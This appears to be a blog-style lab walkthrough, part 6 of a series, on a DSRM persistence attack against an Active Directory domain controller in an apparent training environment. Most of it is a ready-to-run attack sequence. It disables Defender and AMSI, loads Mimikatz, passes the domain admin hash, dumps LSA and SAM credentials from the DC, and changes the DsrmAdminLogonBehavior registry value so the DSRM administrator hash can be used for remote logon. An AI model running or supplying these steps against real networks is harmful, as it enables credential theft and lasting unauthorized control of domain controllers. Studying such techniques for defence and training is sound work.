Domain dominance, DSRM attack - Part 6

 

When dc needs to be rebooted in safe mode, then it requires dsrm password. How we can abuse this? If we have domain admin privilege then we can change the logon behavior of this particular user (not rid 500) and then remotely logon to the dc as as administrator. By default the dsrm administrator is not allowed to logon over the network onto the dc. Sometimes system administrators set the same password for both the account. In that case you just need to enable remote login for the dsrm administrator account.

So what is the persistent time? Its very very long even more than the golden ticket. Because it is created when domain controller is promoted and not change frequently. Unless this password is change, you have persistent access on the dc.

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

Now you can type the below command:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Or you can follow this approach:

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs.

From this shell type:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Both the above method will work just fine. The only difference is here we are not directly logging in to the dc.

Now from here you will get a local administrator account ntlm hash whose rid is 500. We are not talking about this user account. This is not DSRM user. DSRM user rid is also 500 but the hash is different. 

To get the DSRM user ntlm hash, from the same shell:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Or if you are in the DC using Enter-PSSession command then type only below:

To get the DSRM user ntlm hash:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

This is dsrm administrator account hash. Take the hash. 

Since it is local administrator to dc so we can pass the hash. But we need to change certain registry key value so that we can remotely log in using this dsrm administrator account. By default it is set to disabled. 

This is domain admin privs shell. So now log on to dc using Enter-PSSession or if you are already in dc using Enter-PSSession then type below:

Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD -Verbose

or

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name DsrmAdminLogonBehavior -Value 2

To view this:

Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

Now open a powershell using with the local administrator privilege from studentadmin machine. Then run the following command. 

Disable defender here.

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:<ntlm hash of dsrm account>

A new powershell session will spawn up. 

ls \\dcorp-dc\c$

or

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

Enter-PSSession not works here because we are not forcing here kerberos authentication. 

Avi